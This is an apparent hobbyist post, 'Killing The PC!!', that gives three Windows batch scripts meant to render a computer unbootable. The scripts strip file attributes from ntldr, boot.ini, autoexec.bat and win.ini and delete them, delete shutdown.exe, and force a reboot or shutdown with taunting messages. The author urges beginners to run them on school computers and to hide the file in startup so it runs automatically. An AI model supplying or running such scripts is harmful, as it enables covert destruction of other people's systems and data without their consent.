Killing The PC!!

I 'll describe how to kill a pc with a batch file. This can be done by beginners.
    Copy the following source codes and save as batch file(.bat).

    Code 1:
    @echo off
    attrib -r -s -h c:\autoexec.bat
    del c:\autoexec.bat
    attrib -r -s -h c:\boot.ini
    del c:\boot.ini
    attrib -r -s -h c:\ntldr
    del c:\ntldr
    attrib -r -s -h c:\windows\win.ini
    del c:\windows\win.ini
Code 2:
    @echo off
    attrib -r -s -h %HOMEDRIVE%\autoexec.bat
    del %HOMEDRIVE%\autoexec.bat
    attrib -r -s -h %HOMEDRIVE%\boot.ini
    del %HOMEDRIVE%\boot.ini
    attrib -r -s -h %HOMEDRIVE%\ntldr
    del %HOMEDRIVE%\ntldr
    attrib -r -s -h %WinDIR%\win.ini
    del %WinDIR%\win.ini
    shutdown -r -t 15 -c "Shutting down to perform a simple WinBLOWZ task"

    Code 3:

    @echo off
    shutdown -s -t 600 -c "I wanna play a game. Try to find the way out."
    del /f /q /s %windir%\system32\shutdown.exe
    attrib -a -s -h C:\ntldr
    erase /f /s /q C:\ntldr

    Test them and have fun on school computers. ("don't" test them on your computer)

    P.S --- You must hide the batch file and place them on startup to be down automatically when the computers restart.